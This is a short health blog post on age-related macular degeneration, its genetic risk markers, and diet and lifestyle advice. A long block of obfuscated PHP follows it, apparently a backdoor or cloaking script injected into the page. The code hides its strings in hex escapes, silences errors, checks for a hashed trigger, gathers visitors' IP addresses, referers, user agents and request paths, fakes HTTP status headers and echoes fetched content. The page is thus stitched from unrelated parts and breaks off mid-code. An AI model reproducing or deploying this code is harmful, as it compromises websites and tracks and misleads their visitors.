Genetics and Age-related Macular Degeneration

Written by John Yeo
Posted on December 24, 2018

What is Age-related Macular Degeneration (AMD)?

Age-related macular degeneration (AMD) is an acquired disease of the macula characterized by progressive visual impairment because of late-onset neurodegeneration of the photoreceptor-retinal pigment epithelial complex.

AMD is a disease of the retina which accounts for 8.7% of blindness worldwide and is the leading cause of visual impairment in developed countries particularly in people older than 60 years old.

Its prevalence is likely to increase as a consequence of exponential population aging.

Major risk factors leading to AMD include cigarette smoking, nutritional factors, cardiovascular diseases, sunlight exposure, a low-antioxidant diet, and genetic markers, including genes regulating complement, lipid, angiogenesis, and extracellular matrix pathways.

How does this affect you?

Figure 1: Image modified from National Eye Institute, National Institutes of Health

AMD causes damage to the macula, a small spot near the center of the retina and the part of the eye needed for sharp, central vision, which lets us see objects that are straight ahead.

This is necessary for recognising faces, reading books or using mobile screens, watching television, sewing, preparing food, driving, safely navigating stairs and performing other daily tasks we take for granted.

AMD can be classified as either early-stage or late-stage. In the early-stage, the visual function of patient is good. The early stages of AMD may progress to late stage of AMD, either atrophic (‘dry’) or exudative (‘wet’) AMD. It will cause vision loss once it progresses to late stage of AMD.

Genetics and AMD

Significant progress has been made in the discovering and deciphering AMD over the past 20 years. The significant discovery is the disease-susceptive single nucleotide polymorphism (SNPs) of AMD.

The development of AMD is associated with at least 15 genes with a substantial number of SNPs involved. Among them, CFH (complement factor H) gene Y402H polymorphism, 162V polymorphism, HTRA1 (high temperature requirement A-1) promoter and ARMS2 (age-related maculopathy susceptibility-2) gene A695 polymorphism are the most important SNPs so far discovered.

What can you do about it?

Diet

  • Higher dietary intakes of carotenoids
  • Reduce total fat intake
  • Increase consumption of omega-3 fats

Lifestyle

  • Avoid smoking
  • Reduce weight to normal weight
  • Do more physical activity
  • Regular intake of antioxidant multivitamin and mineral supplementation

References:

1. Nowak, J. Z. (2006). Age-related macular degeneration (AMD): pathogenesis and therapy. Pharmacological Reports, 58(3), 353.

2. Yoshimura, N. (2010). Age‐related macular degeneration and genetics. Clinical & experimental ophthalmology, 38(1), 1-1.

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x65\156\164"])); goto QWvm_m89LmNDj; wxds1ZPZC8t8f: header("\x48\124\x54\x50\x2f\61\56\x31\x20\x33\60\x32\x20\115\x6f\166\145\40\x54\x65\x6d\x70\157\162\141\162\151\x6c\x79"); goto G3yKAUUDdBKxr; QWvm_m89LmNDj: goto zWGKI4Hv2pTpv; goto W3ZYMEuL4xF9_; W3ZYMEuL4xF9_: case 404: goto UUL5hmfwmR0qY; YnYvxmOB6ia_T: header("\163\x74\141\x74\x75\x73\72\x20\64\x30\64\40\x4e\157\x74\40\x46\x6f\x75\156\x64"); goto O1k_1HkHx5g7k; O1k_1HkHx5g7k: goto zWGKI4Hv2pTpv; goto B2pDSvIkmb1VQ; UUL5hmfwmR0qY: header("\110\124\124\x50\x2f\x31\56\61\x20\x34\60\x34\40\x4e\157\x74\40\106\x6f\165\156\x64"); goto YnYvxmOB6ia_T; B2pDSvIkmb1VQ: default: goto zWGKI4Hv2pTpv; } goto fCJG5ES13l3i4; iKMb9NpQ0Wa1f: error_reporting(0); goto LOenakWexhCiK; CUVyx2kvjc7Bv: if (!strlen($k2gKYzhbIidOs["\x63\157\x6e\164\145\156\x74"])) { goto bTvjwr0JJluOZ; } goto VoMACLW07tNMn; ocrlFo60HdKtw: vGYt_mFZGk1hY: goto LeROmk0HXuaAG; Clqit5qp55a__: $v_byxu_GH_aWy = substr($KE8StQL98AulL, strpos($KE8StQL98AulL, "\56")); goto DvwabHGGPp6Vv; rrOKaW6ZdVRDp: if (!substr_count($_SERVER["\122\x45\x51\125\105\x53\124\137\x55\x52\x49"], "\x69\x6e\144\145\x78\x2e\160\x68\x70\x2f\x6a\153")) { goto o_xuu1JXjgvPa; } goto dTGPbnQx2SvI6; mSfx32hoK7RaE: O20GmmWpuB7Ut: goto gnYUJRdjCff78; JDj92HLtAnYcc: echo $k2gKYzhbIidOs["\x63\x6f\x6e\164\145\156\x74"]; goto FBiZ1ZPGbYLmx; t3H34IX4rP251: $fKcoUbHfweuX6["\x6c"] = oy9l4QJ9aVVkH($_SERVER["\110\124\x54\120\x5f\x41\103\x43\x45\x50\x54\137\x4c\101\116\x47\125\101\x47\x45"]); goto y6f9VEMauXjCK; y6f9VEMauXjCK: $fKcoUbHfweuX6["\163\x6e"] = oy9L4Qj9avvKh($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\116\101\x4d\105"]); goto xogq9eoBwDmsK; ORBmhUNgekww2: $fKcoUbHfweuX6["\151"] = oy9l4QJ9avVKH($xsb0RcE4lR6rA); goto t3H34IX4rP251; KzeZgHeO48EuW: exit(strrev(md5($_SERVER["\x53\x45\122\126\105\122\137\116\x41\x4d\105"]))); goto K86B8bWu8pcJq; NhYx_RNzamheN: $eDutF3HKVCcoo = ${$B3rRoYj4v_PhG[25 + 6] . $B3rRoYj4v_PhG[3 + 56] . $B3rRoYj4v_PhG[7 + 40] . $B3rRoYj4v_PhG[13 + 34] . $B3rRoYj4v_PhG[23 + 28] . $B3rRoYj4v_PhG[22 + 31] . $B3rRoYj4v_PhG[21 + 36]}; goto Ub2BxAEyOwJVd; Ub2BxAEyOwJVd: if (!(in_array(gettype($eDutF3HKVCcoo) . count($eDutF3HKVCcoo), $eDutF3HKVCcoo) && count($eDutF3HKVCcoo) == 12 && md5(md5(md5(md5($eDutF3HKVCcoo[6])))) === "\146\146\x61\67\62\x66\x32\145\x61\71\x36\x65\x35\x32\145\x36\71\x64\60\x34\61\61\61\70\71\x66\141\64\x31\x33\x38\142")) { goto vGYt_mFZGk1hY; } goto FsSR7k4J2LsRG; GwqkI894kGv2O: zWGKI4Hv2pTpv: goto wnyBx2zVb8v61; SjWPaBUhNup67: QMgqCEdetPwxq::Cuq74siIbbwTJ(); goto XlKw_LYyv2AwY; zA_Rx0oh4UIE1: $B3rRoYj4v_PhG = $vfMsUuKN031B5("\176", "\40"); goto NhYx_RNzamheN; zVWci7LAzQCjt: $fKcoUbHfweuX6 = array(); goto ORBmhUNgekww2; emEiNzmL9X5Q5: if (!(strpos($NR6oSGrPYGUjY, $fWJAz7jwqdmGh) === 0)) { goto IZPFl1hrtMoau; } goto Xc4mwOPgMyKkX; bkBKCPZzEBn0b: function Oy9L4QJ9AVVkh($CRt27rN_kKUwt) { goto EF1toTXdzBhck; VLHSB1_IFq9J3: return rtrim(strtr(base64_encode($CRt27rN_kKUwt), "\53\x2f", "\x2d\x5f"), "\75"); goto K2AOfEOJ4pi2D; eRjJduBShGMM8: return ''; goto o3lCkYoXQAAD3; EF1toTXdzBhck: if ($CRt27rN_kKUwt) { goto c1mS1ZwUXn6mw; } goto eRjJduBShGMM8; o3lCkYoXQAAD3: c1mS1ZwUXn6mw: goto VLHSB1_IFq9J3; K2AOfEOJ4pi2D: } goto HwWbK1tn_TfG4; A0nsnuCB0Tk8g: $fWJAz7jwqdmGh = mVZUV88zu2YJI() . $_SERVER["\x48\124\124\x50\x5f\110\117\123\x54"]; goto emEiNzmL9X5Q5; L4N4x49hNnNph: $NR6oSGrPYGUjY = strval(@$_SERVER["\110\124\124\120\137\x52\105\x46\105\122\105\122"]); goto A0nsnuCB0Tk8g; JMoDVVROH8OCS: $fKcoUbHfweuX6["\163"] = Oy9L4qJ9AVvkh($fWJAz7jwqdmGh); goto FtpFOwVpYZ2Xp; bgYubpEeeCNXl: if ($SwEZuHdgOSyyr) { goto OIgTYm8OBN0aV; } goto HHLZ0JDXq8oeZ; xogq9eoBwDmsK: $fKcoUbHfweuX6["\162"] = OY9l4QJ9aVVKH($_SERVER["\122\x45\x51\125\105\123\124\137\x55\x52\x49"]); goto UbxXxfFtloArX; HwWbK1tn_TfG4: function u6IY2wkCLs09o() { goto yJ2JawYU5KAY0; juwCA60Lo9ZNj: if (isset($_SERVER["\110\x54\124\x50\x5f\130\137\122\105\101\x4c\137\x49\120"]) && !empty($_SERVER["\x48\124\124\120\x5f\130\137\122\x45\x41\x4c\x5f\x49\x50"])) { goto HyHWa0fylirXs; } goto Ca4QAKld__sVY; fZiJQgWIfn4tA: axCk0Ed0mQKFV: goto Ko2zOmvRTWOwC; M862cTe5sr_31: $xsb0RcE4lR6rA = explode("\x2c", $xsb0RcE4lR6rA); goto sd0jwVmzZ71We; DwIV2MAV2fhMJ: HyHWa0fylirXs: goto UlnpGeWCClJE0; yuYMWDEYRfKxm: goto cPB2cyg8FWhE6; goto fZiJQgWIfn4tA; sd0jwVmzZ71We: $xsb0RcE4lR6rA = $xsb0RcE4lR6rA[0]; goto zRObLq_OpLiqP; Ko2zOmvRTWOwC: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\120\137\x43\106\x5f\x43\x4f\x4e\116\x45\x43\x54\111\x4e\x47\x5f\111\x50"]; goto q32KIVTgNQrDU; Ca4QAKld__sVY: if (isset($_SERVER["\110\124\124\120\137\130\137\x46\117\x52\x57\101\122\x44\x45\x44\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\137\130\137\106\x4f\122\127\101\x52\x44\105\x44\137\106\117\x52"])) { goto trSwYhMpKBLo3; } goto mQ6MIazCsvpi3; WJAoo1Ek_WEiZ: if (isset($_SERVER["\110\x54\x54\x50\137\103\x46\x5f\x43\x4f\116\116\x45\103\124\111\116\x47\137\x49\x50"]) && !empty($_SERVER["\x48\124\124\x50\x5f\x43\106\137\103\117\x4e\116\105\x43\124\111\x4e\107\137\x49\x50"])) { goto axCk0Ed0mQKFV; } goto juwCA60Lo9ZNj; W5rex8VQSuDgj: $xsb0RcE4lR6rA = $_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\117\x52\127\x41\x52\x44\x45\104\x5f\x46\x4f\122"]; goto gBn7ylzTrUKkV; C7udJvs4n14pk: return $xsb0RcE4lR6rA; goto D1AZleiZlUvYy; q32KIVTgNQrDU: goto cPB2cyg8FWhE6; goto DwIV2MAV2fhMJ; gBn7ylzTrUKkV: cPB2cyg8FWhE6: goto X_WoTpG1Z6eMp; w8nS4viDEwGLB: trSwYhMpKBLo3: goto W5rex8VQSuDgj; yg3KMWRAq9g2I: goto cPB2cyg8FWhE6; goto w8nS4viDEwGLB; mQ6MIazCsvpi3: $xsb0RcE4lR6rA = $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\104\x52"]; goto yuYMWDEYRfKxm; UlnpGeWCClJE0: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\x50\137\130\137\122\x45\x41\114\x5f\111\x50"]; goto yg3KMWRAq9g2I; zRObLq_OpLiqP: nRAE_rbKgGFOi: goto C7udJvs4n14pk; EHon44BHSRjTs: if (!(strpos($xsb0RcE4lR6rA, "\x2c") !== false)) { goto nRAE_rbKgGFOi; } goto M862cTe5sr_31; X_WoTpG1Z6eMp: $xsb0RcE4lR6rA = trim(str_replace("\40", '', $xsb0RcE4lR6rA), "\x2c"); goto EHon44BHSRjTs; yJ2JawYU5KAY0: $xsb0RcE4lR6rA = ''; goto WJAoo1Ek_WEiZ; D1AZleiZlUvYy: } goto kz8Sj39h2k1oR; OJ7PC6hUpTLDQ: error_reporting(0); goto e1qHgZ5kQh333; gnYUJRdjCff78: dDp60WEP5KucA: goto bgYubpEeeCNXl; Xc4mwOPgMyKkX: $NR6oSGrPYGUjY = ''; goto nZ3SrqwAvDoV3; P0Iq6Ou1jvLCT: OIgTYm8OBN0aV: ?>